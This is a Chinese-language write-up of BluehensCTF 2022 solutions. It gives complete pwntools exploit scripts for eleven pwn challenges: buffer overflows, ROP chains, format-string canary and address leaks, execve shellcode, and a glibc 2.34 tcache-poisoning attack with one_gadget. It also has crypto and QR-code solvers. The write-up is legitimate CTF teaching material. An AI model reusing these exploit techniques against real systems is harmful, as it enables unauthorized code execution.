[BluehensCTF 2022] pwn11 crypto3

目录

PWN

1,pwn1 

2,pwn 2

3,pwn 3

4,pwn 4

5,pwn 5

6,pwn 6

7,pwn7

8,pwn8

9,Sally Seashells

10,Sally The Pirate

11,Wide Open

Crypto

1,two_minute_challenge

2, two_minute_challenge_Pt2

3,My First XOR Problem

misc

4PurQRatory


这个比赛感觉题都非常,惟独pwn部分出奇的简单,白送。就像是个入门教程,居然因为这些pwn进到前50

PWN

前8题出题方都懒得写名字

1,pwn1 

栈内溢出覆盖,输入v4溢出覆盖到v5 这题都不用本地

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4[268]; // [rsp+0h] [rbp-110h] BYREF
  int v5; // [rsp+10Ch] [rbp-4h]

  v5 = 1234;
  puts("Welcome to PWN 101, smash my variable please.\n");
  gets(v4, argv);
  if ( v5 == 4919 )
    system("/bin/sh");
  return 0;
}

WP

from pwn import *
p = remote('0.cloud.chals.io', 19595 )
p.sendline(b'A'*0x10c+ p64(0x1337) )
p.interactive()

2,pwn 2

32位gets溢出覆盖到ret有shell函数,无PIE

char *vuln()
{
  char s[59]; // [esp+9h] [ebp-3Fh] BYREF

  return gets(s);
}
int win()
{
  return system("/bin/sh");
}

WP,记得听老师讲课的时候计算溢出先生成个串看溢出位置,其实直接用gdb跟进去看返回地址更方便。不清楚为什么这么教。

from pwn import *
p = remote('0.cloud.chals.io', 22209 )
p.sendline(b'A'*(0x3f+4)+ p32(0x80491d6) )
p.interactive()

3,pwn 3

依然是32位,但shell需要参数

char *vuln()
{
  char s[28]; // [esp+8h] [ebp-20h] BYREF

  return gets(s);
}
int __cdecl win(int a1)
{
  if ( a1 == -559038737 )
    return system("/bin/sh");
  else
    return puts("Almost...");
}

32位传参的是在栈里 ret,rret,arg1,arg2 

from pwn import *
p = remote('0.cloud.chals.io', 28949 )
p.sendline(b'A'*(0x20+4)+ p32(0x80491d6)+ p32(0xDEADBEEF)*2 )
p.interactive()

4,pwn 4

与上题一样,但是64位,64位传参前6个用寄存器rdi,rsi,rdx,rcx,r8,r9,这时要用到一个rop将参1弹到rdi

__int64 vuln()
{
  char v1[32]; // [rsp+0h] [rbp-20h] BYREF

  return gets(v1);
}
int __fastcall win(int a1)
{
  if ( a1 == 0xDEADBEEF )
    return system("/bin/sh");
  else
    return puts("Almost...");
}

WP

from pwn import *

p = remote('0.cloud.chals.io', 10711 )
context.arch = 'amd64'

pop_rdi = 0x0000000000401253 # pop rdi ; ret

p.sendline(b'A'*(0x20+8)+ flat(pop_rdi+1, pop_rdi, 0xDEADBEEF, 0x401176) )
p.interactive()

5,pwn 5

与上题基本相同,只是开了PIE,题目加载地址是随机的,但是他上来就把地址给了,只需要用偏移算一下

__int64 vuln()
{
  return gets();
}
int __fastcall win(int a1)
{
  if ( a1 == 0xDEADBEEF )
    return system("/bin/sh");
  else
    return puts("Almost...");
}

WP

from pwn import *

p = remote('0.cloud.chals.io', 22287 )
context.arch = 'amd64'
context.log_level = 'debug'

pop_rdi = 0x0000000000001323 # pop rdi ; ret

p.recvuntil(b'How about reading a leak? ')
pwn_base = int(p.recvline(),16) - 0x122e
p.sendline(b'A'*(0x20+8)+ flat(pwn_base + pop_rdi, 0xDEADBEEF, pwn_base + 0x122e) )
p.interactive()

6,pwn 6

这回没有直接给地址,但给了printf这个无参的时候通过%n$p得到栈内地址,具体偏移要调用着看一般是6开始到栈。32位是8

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format[24]; // [rsp+0h] [rbp-20h] BYREF
  int (__fastcall *v5)(int); // [rsp+18h] [rbp-8h]

  init(argc, argv, envp);
  v5 = win;
  printf("How about creating a leak?");
  gets();
  printf(format);
  vuln();
  return 0;
}

WP

from pwn import *

p = remote('0.cloud.chals.io', 20646 )
#p = process('./pwnme6')
context.arch = 'amd64'
context.log_level = 'debug'

#gdb.attach(p)
#pause()
pop_rdi = 0x0000000000001353 # pop rdi ; ret

p.sendlineafter(b"How about creating a leak?", b'%9$p')
pwn_base = int(p.recv(14), 16) - 0x122e
p.sendline(b'A'*(0x20+8)+ flat(pwn_base + pop_rdi +1,pwn_base + pop_rdi, 0xDEADBEEF, pwn_base + 0x122e) )
p.interactive()

7,pwn7

这回带了canary,依然是先有printf泄露再溢出,这里因为栈到ret中间有个canary需要printf泄露

unsigned __int64 vuln()
{
  char format[32]; // [rsp+0h] [rbp-40h] BYREF
  char v2[24]; // [rsp+20h] [rbp-20h] BYREF
  unsigned __int64 v3; // [rsp+38h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  printf("How about creating a leak AND smashing a canary?");
  gets(format);
  printf(format);
  gets(v2);
  return __readfsqword(0x28u) ^ v3;
}

WP

from pwn import *

p = remote('0.cloud.chals.io', 12229)
#p = process('./pwnme6')
context.arch = 'amd64'
context.log_level = 'debug'

#gdb.attach(p)
#pause()
pop_rdi = 0x0000000000001383 # pop rdi ; ret

p.sendlineafter(b'How about creating a leak AND smashing a canary?', b'%13$p,%15$p')
canary = int(p.recvuntil(b',', drop= True), 16)
pwn_base = int(p.recv(14), 16) - 0x12f8 - 28
p.sendline(b'A'*(0x18)+ flat(canary, 0, pwn_base + pop_rdi +1,pwn_base + pop_rdi, 0xDEADBEEF, pwn_base + 0x124e) )
p.interactive()

8,pwn8

最后一个入门是32位,还是传参的问题,调用win前要先调用3个fun,由于每次传ROP并不会降栈,所以在rret的位置要平衡

int __cdecl main(int argc, const char **argv, const char **envp)
{
  init();
  vuln();
  return 0;
}
unsigned int vuln()
{
  char s[24]; // [esp+Ch] [ebp-3Ch] BYREF
  char v2[24]; // [esp+24h] [ebp-24h] BYREF
  unsigned int v3; // [esp+3Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("How about creating a leak AND smashing a canary AND chaining several functions?");
  gets(s);
  printf(s);
  gets(v2);
  return __readgsdword(0x14u) ^ v3;
}
Elf32_Dyn **__cdecl func1(int a1)
{
  Elf32_Dyn **result; // eax

  result = &GLOBAL_OFFSET_TABLE_;
  if ( a1 == 0x1337 )
    gateway1 = 1;
  return result;
}
Elf32_Dyn **__cdecl func2(int a1)
{
  Elf32_Dyn **result; // eax

  result = &GLOBAL_OFFSET_TABLE_;
  if ( a1 == 0xCAFEF00D )
    gateway2 = 1;
  return result;
}
Elf32_Dyn **__cdecl func3(int a1)
{
  Elf32_Dyn **result; // eax

  result = &GLOBAL_OFFSET_TABLE_;
  if ( a1 == 0xD00DF00D )
    gateway3 = 1;
  return result;
}
int win()
{
  if ( gateway1 && gateway2 && gateway3 )
    return system("/bin/sh");
  else
    return puts("Almost...");
}

WP

from pwn import *

p = remote('0.cloud.chals.io', 17140)
#p = process('./pwnme8')
context.arch = 'i386'
context.log_level = 'debug'
elf = ELF('./pwnme8')

#gdb.attach(p)
#pause()

p.sendlineafter(b'?', b'%19$X,%23$p,')
canary = int(p.recvuntil(b',', drop= True), 16)
pwn_base = int(p.recvuntil(b',', drop= True), 16) - elf.sym['main'] - 30

pop_ebx = pwn_base + 0x00001022 # pop ebx ; ret
elf.address = pwn_base
p.sendline(b'A'*(0x18)+ flat(canary, 0, 0,0, elf.sym['func1'], pop_ebx, 0x1337, elf.sym['func2'], pop_ebx, 0xCAFEF00D, elf.sym['func3'], pop_ebx, 0xD00DF00D, elf.sym['win']) )
p.interactive()

9,Sally Seashells

开始有名字了。

栈可执行,这样可以直接把代码写到栈里,在ret时指过去。由于空间不够,所以要用比较短的shellcode不能用程序生成的

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s[12]; // [rsp+4h] [rbp-3Ch] BYREF
  __int64 v5; // [rsp+10h] [rbp-30h]
  __int64 v6; // [rsp+18h] [rbp-28h]
  __int64 v7; // [rsp+20h] [rbp-20h]
  __int64 v8; // [rsp+28h] [rbp-18h]
  __int64 v9; // [rsp+30h] [rbp-10h]
  __int64 v10; // [rsp+38h] [rbp-8h]

  init(argc, argv, envp);
  v10 = 347665LL;
  v9 = 0LL;
  v8 = 0LL;
  v7 = 0LL;
  v6 = 347665LL;
  v5 = 347665LL;
  printf("So this is where Sally sold her sea SHELLS: %p\n", s);
  fgets(s, 96, stdin);
  return 0;
}

这题有个坑,在IDA反编译时这些赋值都在gets前,但汇编代码发现后边还有没显示(IDA不可全信),所以会破坏一些输入的数据,导致可写的代码比较短。

.text:0000000000001204 48 C7 45 F8 11 4E 05 00       mov     [rbp+var_8], 54E11h
.text:000000000000120C 48 C7 45 F0 00 00 00 00       mov     [rbp+var_10], 0
.text:0000000000001214 48 C7 45 E8 00 00 00 00       mov     [rbp+var_18], 0
.text:000000000000121C 48 C7 45 E0 00 00 00 00       mov     [rbp+var_20], 0
.text:0000000000001224 48 C7 45 D8 11 4E 05 00       mov     [rbp+var_28], 54E11h
.text:000000000000122C 48 C7 45 D0 11 4E 05 00       mov     [rbp+var_30], 54E11h
.text:0000000000001234 48 8D 45 C4                   lea     rax, [rbp+s]
.text:0000000000001238 48 89 C6                      mov     rsi, rax
.text:000000000000123B 48 8D 3D C6 0D 00 00          lea     rdi, format                     ; "So this is where Sally sold her sea SHE"...
.text:0000000000001242 B8 00 00 00 00                mov     eax, 0
.text:0000000000001247 E8 24 FE FF FF                call    _printf
.text:0000000000001247
.text:000000000000124C 48 8B 15 DD 2D 00 00          mov     rdx, cs:stdin@@GLIBC_2_2_5      ; stream
.text:0000000000001253 48 8D 45 C4                   lea     rax, [rbp+s]
.text:0000000000001257 BE 60 00 00 00                mov     esi, 60h ; '`'                  ; n
.text:000000000000125C 48 89 C7                      mov     rdi, rax                        ; s
.text:000000000000125F E8 1C FE FF FF                call    _fgets
.text:000000000000125F
.text:0000000000001264 48 B8 11 4E A5 5E 11 4E A5 5E mov     rax, 5EA54E115EA54E11h
.text:000000000000126E 48 89 45 D0                   mov     [rbp+var_30], rax
.text:0000000000001272 B8 EF BE AD DE                mov     eax, 0DEADBEEFh
.text:0000000000001277 48 89 45 F8                   mov     [rbp+var_8], rax
.text:000000000000127B B8 00 00 00 00                mov     eax, 0
.text:0000000000001280 C9                            leave
.text:0000000000001281 C3                            retn

WP

from pwn import *

p = remote('0.cloud.chals.io', 22808)
#p = process('./seashells')

context.arch = 'amd64'
context.log_level = 'debug'
elf = ELF('./seashells')

p.recvuntil(b'SHELLS: ')
stack = int(p.recvline(), 16)

shellcode = b"\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05"
p.sendline(b'A'*(0xc+8)+ shellcode.ljust(0x30, b'\x00') + p64(stack + 0xc +8 ) )
p.interactive()

10,Sally The Pirate

与上题基本相同多了canary但检了printf可以泄露

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format[72]; // [rsp+0h] [rbp-50h] BYREF
  unsigned __int64 v5; // [rsp+48h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  init(argc, argv, envp);
  printf("This might help you out: %p\n", format);
  gets(format);
  fflush(stdout);
  printf(format);
  fflush(stdout);
  gets(format);
  return 0;
}

同样IDA里并没有体现出对canary的检查

from pwn import *

p = remote('0.cloud.chals.io', 12185)
#p = process('./parrot')

context.arch = 'amd64'
context.log_level = 'debug'
elf = ELF('./parrot')

#gdb.attach(p)
#pause()

p.recvuntil(b'out: ')
stack = int(p.recvline(), 16)
p.sendline(b'%15$p,')
canary = int(p.recvuntil(b',', drop=True), 16)
shellcode = b"\x6a\x3b\x58\x99\x52\x5e\x48\xb9\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x52\x51\x54\x5f\x0f\x05"
p.sendline(shellcode.ljust(0x48, b'\x00') + flat(canary, 0 , stack) )
p.interactive()

11,Wide Open

唯一有难度的一题,堆题给的libc-2.34这个版本把__free_hook删了,并且堆指针作了异或加密

不过很良心,给了UAF还给了edit这就好办了直接写__IO_file_jumps

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v5; // [rsp+8h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setvbuf(stdin, 0LL, 2, 1uLL);
  setvbuf(stdout, 0LL, 2, 1uLL);
  while ( 1 )
  {
    printf(
      "You are using %d/100 chunk addresses.\n1. New\n2. Delete\n3. Edit \n4. View data\n5. Exit\n> ",
      (unsigned int)space);
    __isoc99_scanf("%d", &v4);
    getchar();
    switch ( v4 )
    {
      case 1:
        menu_malloc();
        break;
      case 2:
        menu_free();
        break;
      case 3:
        menu_edit();
        break;
      case 4:
        menu_view();
        break;
      case 5:
        exit(0);
      default:
        continue;
    }
  }
}
__int64 menu_free()
{
  unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
  unsigned __int64 v2; // [rsp+8h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  printf("which index?\n> ");
  __isoc99_scanf("%d", &v1);
  getchar();
  if ( v1 > 0x63 )
  {
    puts("Invalid request");
    return 1LL;
  }
  else
  {
    free(*((void **)&arr + (int)v1));    // 这里没有清理指针,有UAF
    --space;
    return 0LL;
  }
}

WP

先释放大块得到main_arena计算出libc再通过tcache Attack 向_IO_file_jumps写one_gadget(虽然这东西经常用不了,在这试一下确实行,省去好多麻烦)

from pwn import *

p = remote('0.cloud.chals.io', 10605)
#p = process('./pwnme11')

context.arch = 'amd64'
context.log_level = 'debug'
elf = ELF('./pwnme11')
libc_elf = ELF('./libc.so.6')


menu = b'> '
def add(idx, size, msg):
    p.sendlineafter(menu, b'1')
    p.sendlineafter(menu, str(idx).encode())
    p.sendlineafter(menu, str(size).encode())
    p.sendlineafter(menu, msg)

def free(idx):
    p.sendlineafter(menu, b'2')
    p.sendlineafter(menu, str(idx).encode())

def edit(idx, msg):    
    p.sendlineafter(menu, b'3')
    p.sendlineafter(menu, str(idx).encode())
    p.sendlineafter(menu, msg)

def show(idx):
    p.sendlineafter(menu, b'4')
    p.sendlineafter(menu, str(idx).encode())


add(0, 0x20, b'A')
add(1, 0x20, b'A')
add(2, 0x500, b'A')
add(3, 0x18, b'A')

free(2)
show(2)
libc_base = u64(p.recvline()[:-1].ljust(8, b'\x00')) - 0x60 - libc_elf.sym['main_arena']
print('libc:', hex(libc_base))
libc_elf.address = libc_base

free(0)
free(1)
show(0)
key = u64(p.recvline()[:-1].ljust(8, b'\x00')) 
heap_addr = key<<12
print('heap:', hex(key<<12))

edit(1, p64( key ^ libc_elf.sym['_IO_file_jumps'] ) )
one = [0xda811, 0xda814, 0xda817]
one_gadget = libc_base + one[1]

add(4, 0x20, b'A')
add(5, 0x20, p64(0)*3 + p64(one_gadget))

#gdb.attach(p)
#pause()

p.interactive()

Crypto

1,two_minute_challenge

给了个密码和一张图,显然他是按那个顺序加密的

[BluehensCTF 2022] pwn11 crypto3_第1张图片

'''
 Two Minute Challenge
468
OTP

I was challenged to make a problem in 2 minutes. Can you solve it as fast as I wrote it? (See attached screenshot, no guessing needed.)

'''
a = b'61217660734247595d165c47545e524049307077617748455c0c4508465058544d1860737761711a400d5e125c4a525b511c4e67707667764e155d5d465040535f004f1c617d7065721e405c5c465e4a550e531d496c7772617f4e405d5c405b47055c044f1f62257730724f41515e4b5d16555f50484e65702662274d405e51470c46555d524a4e607d7660734a475a5d165e12545e56484933707762724d4c5c0c475e475458574d186325766d7142400d5c475f40525950404a34727067774f115e08465840505f034d496071746d721e420c5d175a43540a504d4860732260234f405d50440847075e544a196620'
b = bytes.fromhex(a)

from base64 import *
a = 'UDCTF{'
#b64,hex,b64,hex,xor,hex
a1 = b64encode(b64encode(a).hex().encode()).hex().encode()
a1 = b'4e5459314e5455794e4451314e6a51314e57457a4e773d3d'
key = bytes([a1[i]^b[i] for i in range(48)])

key = b'UDCTF{thisisakey}'
c = bytes([b[i]^key[i%17] for i in range(len(b))])
#b'4e5459314e5455794e4451314e6a51314e57457a4e7a59304e3245305a5459324e6a49314e4455794e6d4931595455324d7a6b7a4d4459784e4451304e6a64684e546733595451324e7a55314f4464684e4745324e6a59794e546332597a63314e6a51314f4455794e6d4d305a54557a4e44597a4f513d3d'
d = bytes.fromhex(c.decode())
#b'NTY1NTUyNDQ1NjQ1NWEzNzY0N2E0ZTY2NjI1NDUyNmI1YTU2MzkzMDYxNDQ0NjdhNTg3YTQ2NzU1ODdhNGE2NjYyNTc2Yzc1NjQ1ODUyNmM0ZTUzNDYzOQ=='
e = b64decode(d)
#b'5655524456455a37647a4e666254526b5a5639306144467a587a4675587a4a6662576c756458526c4e534639'
f = bytes.fromhex(e.decode())
#b'VURDVEZ7dzNfbTRkZV90aDFzXzFuXzJfbWludXRlNSF9'
print(b64decode(f))
#UDCTF{w3_m4de_th1s_1n_2_minute5!}

2, two_minute_challenge_Pt2

给了一个hash值和一个字典,显然是爆破,因为这东西确实没法逆

import random
import hashlib
f=open("dictionary.txt","r")
lngstr=f.read()
f.close()
words=lngstr.split("\n")[:-1]
assert(len(words)==187632)
word1=random.choice(words)
word2=random.choice(words)
target = hashlib.sha256("%s %s" % (word1, word2)).hexdigest()
print(target)
word3=random.choice(words)
print(word3)
word4=random.choice(words)
print(word4)
target = hashlib.sha256("%s %s" % (word3, word4)).hexdigest()
print(target)

爆破

import hashlib

f=open("dictionary.txt","r")
lngstr=f.read()
f.close()
words=lngstr.split("\n")[:-1]

for word1 in words:
    for word2 in words:
        target = hashlib.sha256(f"{word1} {word2}".encode()).hexdigest()
        #print(target)
        if target == '0037bf7c229d58a1fdb2eca0276f2bc20e2094a91c010e42a564fcc0b07a4913':
            print(word1, word2)
            print("UDCTF{%s_%s}" % (word1, word2))
            exit()

#UDCTF{coven_salols}

3,My First XOR Problem

这个也不是技术题,给了加密方法,但密钥只能猜3字节

#!/usr/local/bin/python3.9
from pwn import *
import random
import string
import binascii
import os
s=os.urandom(12)
random.seed(s)

with open('flag.txt','r') as f:
    flag = f.read().encode()

def create_key():
    key = ''
    for i in range(10):
        key += random.choice(string.ascii_lowercase)
    return binascii.hexlify(key.encode())

k = create_key()

enc = xor(flag,k)

print(b'Decrypt this -> ' + enc)

这个只能通过已经显示的内容俩字符俩字符的猜,每回出26个结果,看哪个像句人话

import hashlib
from pwn import xor
import binascii
import random
import string

def create_key():
    key = ''
    for i in range(10):
        key += random.choice(string.ascii_lowercase)
    return binascii.hexlify(key.encode())


enc = open('enc', 'rb').read()
print(len(enc), enc)
flag1 = b'UDCTF{X0R_i5_th3_b35'
tkey = bytes([flag1[i]^enc[i] for i in range(10)])
print(tkey)

flag3 = bytes([tkey[i]^v for i,v in enumerate( enc[20:] ) ])
print(flag3)
for i1 in range(0x61, 0x7b):
    a = hex(i1)[2:].encode()
    print(flag1+bytes([enc[len(flag1)]^a[0], enc[len(flag1)+1]^a[1]]))

#UDCTF{X0R_i5_th3_b35t}

7 Lovers' Quarre 

这题确实,用AES解密会出现第1块乱码,到底哪错了,等正确的WP

这个是一个像聊天室的东西,客户端把话存服务端,然后再取回来

import os
import time
import requests
import json
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES
from Crypto.Util import number
import logging

class NoPartnerException(Exception):
    pass

class NoMessageException(Exception):
    pass

class DHSession(requests.Session):
    def __init__(self,id: str, g: int,s: int,p: int,partner: str,url: str, conversation_file: str, conversation_starter: bool):
        super(DHSession,self).__init__()
        self.shared_secret = None
        self.secret = s
        self.modulus = p
        self.exp = pow(g,self.secret,self.modulus)
        self.partner = partner
        self.id = id
        self.url = url
        self.conversation_starter = conversation_starter
        self.conversation_file = conversation_file
        self.__ctr = 0
        self.post(f"{url}/sessions/{self.id}",data=json.dumps({"exp": self.exp}),headers={"Content-Type": "application/json"})
        self.__get_key()

    def __get_key(self):
        for i in range(5):
            res = self.get(f"{self.url}/sessions/{self.partner}/key")
            if res.ok:
                self.shared_secret = pow(res.json()["exp"],self.secret,self.modulus).to_bytes(128,"big")[:16]
                return
            time.sleep(2**i)
        raise NoPartnerException("Partner is offline!")
    
    def __send_message(self,message: str):
        self.post(f"{self.url}/sessions/{self.id}/messages",data=self.__encrypt_and_serialize_message(message),headers={"Content-Type": "application/json"})

    def __read_message(self):
        res = self.get(f"{self.url}/sessions/{self.partner}/messages/{self.__ctr}")
        if res.ok and res.json()["message"]:
            self.__ctr += 1
            return res.json()
        else:
            raise NoMessageException()

    def __encrypt_and_serialize_message(self,message: str):
        cipher = AES.new(self.shared_secret,AES.MODE_CBC)
        ct = cipher.encrypt(pad(message.encode("utf-8"),16)).hex()
        return json.dumps({"message": ct, "iv": cipher.iv.hex()})

    def conversation(self):
        with open(self.conversation_file) as f:
            if self.conversation_starter:
                for line in f:
                    logging.debug(f"Sending {line.strip()}")
                    self.__send_message(line.strip())
                    self.wait_for_message()
            else:
                for line in f:
                    self.wait_for_message()
                    logging.debug(f"Sending {line.strip()}")
                    self.__send_message(line.strip())
    
    def wait_for_message(self):
        i = 0
        while i < 5:
            try:
                self.__read_message()
                return
            except NoMessageException:
                time.sleep(2**i)
                i += 1
        raise NoPartnerException()

    def end_conversation(self):
        self.delete(f"{self.url}/sessions/{self.partner}")

    def __exit__(self,*args):
        super(DHSession,self).__exit__(*args)
        self.end_conversation()

def dhsession(url: str, id: str, partner: str, g: int, s: int, p: int, conversation_file: str,conversation_starter: bool)->DHSession:
    return DHSession(id,g,s,p,partner,url,conversation_file,conversation_starter)

if __name__ == "__main__":
    g = 2
    s = number.getPrime(512)
    p = 0xf6c6d4d9e03b8d02e7a525366e6a811d8558fbde1368904742a82e376b2511b48108be0dddb3fbb8fefb22cd66e158ac684a98e09d122ce37cda9574f2fc62f6fb1b99d6663a8db8380391b35653b87991279b3a296a774d18ec18d42169ee67d4f21ba9b3f39cdced3a0584177aa6639a70f48622b719a4952ddb4decf3
    url = os.environ.get("MESSAGING_SERVER")
    partner = os.environ.get("PARTNER")
    id = os.environ.get("CHAT_ID")
    with dhsession(url,id,partner,g,s,p,os.environ.get("CONVERSATION"),os.environ.get("NAME") == "Eve") as session:
        session.conversation()


有传key和传数据两块

key是通过DLP加密的,这个直接解出后与题目上的512不一至,明显小了,但AES解密的2,3chunk还是正确的,后来经检查在建AES对象时忘了写iv

from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.Cipher import AES

#exp = pow(g,self.secret,self.modulus)
#b0f1f0dd-7564-40ab-90e1-c23fa7f88d11
exp1 = 0x3def414f61737a47895419ec73fc1eed713c954debfefd7c5c4fb2893dfee959744fa9fc9eabf0a5f6e86b476c952745608b1e513260d872c456b1ca58b54252d69c448ceb08c6700351417009883bb83a5223fa521c6d0142dbf3bce0dd2c050decc6ddf3e0a1b3956468ee9a8e7078fa3614282d34b44ae0137d72997d
#bc77389e-6812-4060-8c41-51c16af1d593
exp2 = 0xb634ed07578e7c5b2c06373f2622e71fa32b06ef77022e2ed89df68af194421bb2627fc49c49f6911111c46042b466ac1b6914552dca607a045c681842ad6da0f5ad10e91ecd8d761d7e440d0b7f0cc5c2aa1d595f9c6704519a5c8203eb252dc29743773538ef960f97005143d4cee38837aaf1cc98ead678d44c77002d
g = 2
p = 0xf6c6d4d9e03b8d02e7a525366e6a811d8558fbde1368904742a82e376b2511b48108be0dddb3fbb8fefb22cd66e158ac684a98e09d122ce37cda9574f2fc62f6fb1b99d6663a8db8380391b35653b87991279b3a296a774d18ec18d42169ee67d4f21ba9b3f39cdced3a0584177aa6639a70f48622b719a4952ddb4decf3


#secret = discrete_log(exp,mod(g,p))
secret1 = 2080521753860202002099740268320930807515170161976250233944489448066138942324874071
secret2 = 1385855714742564057801704779639995772897457603490317583453431081136873607971662123

def decrypt(exp, secret, message, iv):
    message = bytes.fromhex(message)
    iv = bytes.fromhex(iv)
    shared_secret = pow(exp,secret,p).to_bytes(128,"big")[:16]
    cipher = AES.new(shared_secret,AES.MODE_CBC, iv)
    m = cipher.decrypt(message)
    print(m)
   
#{'message': '89c5eda0160ea6676547e7f3a82275b67843fb3ec32f622d21e56b342aaeecdf885c19d6505a6c61632286353c2f0289', 
#'iv': '15eff1e0d50e737e4da7d90c1e3254c7'}
msg = '''
{'message': '89c5eda0160ea6676547e7f3a82275b67843fb3ec32f622d21e56b342aaeecdf885c19d6505a6c61632286353c2f0289', 'iv': '15eff1e0d50e737e4da7d90c1e3254c7'}
{'message': 'dbfb8a93ddbab5399bc6fa85099ac4f6', 'iv': '9be783e6908a867ae17345dc82610d74'}
{'message': 'a0dcfbc813c22ccef7129fa6c1a43719', 'iv': '3b0b1d9e326c3c0e5254d5cd524c7ce1'}
{'message': '7ad11d3abf40d1be21a2de2b37026778fba52e353336008d0c8a9eb62d606b73fc4b2118d76f4fab7f3b6fe74461137b', 'iv': 'f7cb58357ae4624a5f2c53bb59ff3ca4'}
{'message': 'af1740afaf72098a30c9f812705937ee', 'iv': '66ebdeba64b38da12a64eeb640093cd3'}
{'message': '9c3c7ccc7e6d2e2ce4fb4416f66b79e4fb81b89c06dde44cfad682ff917428e2', 'iv': 'e822adf7969889dcdb06a9d2e73dda4f'}
{'message': 'd653984a97df944819049c103bc3e840', 'iv': '80112141d01a42b8535c4ea65abd96cd'}
{'message': '0326fe6886d357f52e62ccd99faf0a858d3d1d68c21df4e293f06c55c6605371', 'iv': 'be1282a97046da5f5f329ccc78c0a6a9'}
{'message': '6c6df14d72e88936b5dae35e011535b8', 'iv': '5d5955c20f32f588c930958787234704'}
{'message': '3c9864a155a5e1d5c520ac990124de7d', 'iv': 'c1dff9627b16b32a136564b6aa177e2c'}
{'message': '4604b112075ab3824d9b52a72e8931c4', 'iv': 'e1f2e4f410be56eedc7ad4f0a2f881e6'}
{'message': 'c1d473356e09c9eebe94d510eec65313', 'iv': 'bf57152670937c3536a88a0d15cd235e'}
'''.split('\n')
for v in msg:
    if len(v)<10:
        continue
    v = eval(v)
    decrypt(exp1, secret1, v['message'], v['iv'])

结果会这样,恶心不——半个flag

b"UDCTF{What do you think you're doing?}\n\n\n\n\n\n\n\n\n\n"
b'What?\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b\x0b'
b'With Alice\x06\x06\x06\x06\x06\x06'
b"I don't think that's your business\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
b'It is now\x07\x07\x07\x07\x07\x07\x07'
b'What are you talking about?\x05\x05\x05\x05\x05'
b"I'm her boss\x04\x04\x04\x04"
b"You're not serious\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e\x0e"
b'yes I am\x08\x08\x08\x08\x08\x08\x08\x08'
b'This is insane\x02\x02'
b'leave her alone\x01'
b'fine\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c\x0c'

misc

4PurQRatory

这题还不错,又学了一着

题目比较直白,给了个PDF,有107页,里边全是二维码,第1步是把PDF转图片(收费的软件没有只能用python fitz库)

import fitz

def pdf_image(pdfPath, imgPath, zoom_x, zoom_y, rotation_angle):
    # 打开PDF文件
    pdf = fitz.open(pdfPath)
    # 逐页读取PDF
    for pg in range(107):
        page = pdf[pg]
        # 设置缩放和旋转系数
        trans = fitz.Matrix(zoom_x, zoom_y).prerotate(rotation_angle)
        pm = page.get_pixmap(matrix=trans, alpha=False)
        # 开始写图像
        pm._writeIMG(imgPath + str(pg) + ".png",0)
    pdf.close()


pdf_image(r"4_PurQRatory.pdf", r"4_img/", 10, 10, 0)

第二步把一页4个的图切开成单个二维码用cv2 (opencv)

import cv2

for i in range(107):
    img = cv2.imread(f"./4_img/{i}.png")
    cropped = img[800:3100, 800:3000]  # 裁剪坐标为[y0:y1, x0:x1]
    cv2.imwrite(f"./4_img2/{i}1.png", cropped)
    cropped = img[800:3200, 3000:5400]  # 裁剪坐标为[y0:y1, x0:x1]
    cv2.imwrite(f"./4_img2/{i}2.png", cropped)
    cropped = img[3200:5400, 800:3100]  # 裁剪坐标为[y0:y1, x0:x1]
    cv2.imwrite(f"./4_img2/{i}3.png", cropped)
    cropped = img[3200:5400, 3100:5400]  # 裁剪坐标为[y0:y1, x0:x1]
    cv2.imwrite(f"./4_img2/{i}4.png", cropped)
    #break

第三步这个比较坑,一开始以为用cv2能直接转,发现有大量出不来的,虽然头块和尾块出来了,但中间一块出不来,网上看用pyzbar(win11安装后将system32下的msvc120改回原名放到python pyzbar的目录下,win11废弃了但python库没更新)

import cv2 
import os
from pyzbar import pyzbar
from PIL import Image

for i in range(107):
    for j in range(1,5):
        fname = f"./4_img2/{i}{j}.png"
        if os.path.exists(fname):
            val = pyzbar.decode(Image.open(fname), symbols=[pyzbar.ZBarSymbol.QRCODE])
            print(fname,':', val[0].data)#打印识别出的链接
#66,29-2,99
#UDCTF{5t3g0_4nd_qr_b3_fun_f0r_a11_y6d4t}

你可能感兴趣的:(CTF,misc,CTF,crypto,CTF,pwn,CTF)